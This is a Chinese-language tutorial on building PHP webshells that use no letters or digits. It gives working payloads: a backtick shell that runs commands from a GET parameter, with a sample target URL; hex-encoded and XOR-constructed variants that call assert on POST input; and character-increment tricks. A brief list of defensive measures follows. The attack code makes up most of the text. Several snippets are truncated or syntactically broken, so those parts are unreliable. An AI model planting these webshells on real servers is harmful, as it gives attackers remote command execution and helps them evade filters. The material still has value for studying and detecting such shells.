无字母数字webshell进阶收藏版
字数 658 2025-08-20 18:18:05
无字母数字Webshell高级构造技术
基本原理
无字母数字Webshell的核心思想是在不使用常规字母(a-z, A-Z)和数字(0-9)的情况下构造可执行的PHP代码。主要通过以下几种技术实现:
- 利用PHP类型转换特性:通过数组和字符串操作获取基础字符
- Unicode变量名:使用特殊Unicode字符作为变量名
- 位运算构造字符串:通过异或等运算构造关键函数名
- 反引号执行:利用反引号执行系统命令
核心构造方法
1. 获取基础字符
// 获取字符串"Array"
$array_str = [].Φ; // 实际应为 [].'Φ',这里Φ是任意未定义常量,PHP会将其视为字符串'Φ'
// 获取字符'A'(Array的第一个字符)
$A = ([].'Φ')['']; // 通过空字符串索引获取第一个字符
2. 字符递增生成字母表
$a = ([].'Φ')[['']; // 'A'
++$Φ; ++$Φ; ++$Φ; ++$Φ; // 递增到'E'
$α = ++$Φ; // 'F'
// 继续递增获取其他需要的字母
?>
高级技术
1. 反引号执行命令
<?=`{$_GET[_]}`;?>
通过GET参数直接执行系统命令:
http://target.com/shell.php?_=id
2. 十六进制编码绕过
<?=`{${~"\xa0\xb8\xba\xab"}[~"\xa0"]}`;?>
等价于:
<?=`{$_GET["\xa0"]}`;?>
使用方式:
http://target.com/shell.php?%a0=id
3. 异或运算构造字符串
<?php
$_ = '$<>/' ^ '{{{{'; // 结果为"GET"
${$_}[_](${$_}[__]); // 等价于 $_GET[_]($_GET[__])
?>
更复杂的异或构造:
<?php
$_ = ('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // "assert"
$__ = '_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // "_POST"
$___ =
$$
__;
$_($___[_]); // assert($_POST[_])
?>
实际应用示例
1. 执行系统命令
/* system(id) */
<?=$Φ=([].'Φ')[?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>
2. 调用phpinfo()
<?=$Φ=([].'Φ')[()?>
防御措施
- 禁用危险函数:在php.ini中禁用
system、exec、passthru、shell_exec等函数 - 过滤特殊字符:对用户输入进行严格过滤,特别是反引号、$、{}等特殊字符
- 限制变量名:禁止使用Unicode字符作为变量名
- 禁用短标签:关闭PHP短标签功能(short_open_tag=Off)
- 使用Web应用防火墙(WAF)检测异常请求
总结
无字母数字Webshell技术展示了PHP语言的灵活性和潜在安全风险。通过深入理解PHP的类型转换、变量处理和位运算特性,攻击者可以构造出极其隐蔽的Webshell。防御这类攻击需要多层次的防护措施,包括代码审计、输入过滤和服务器配置加固。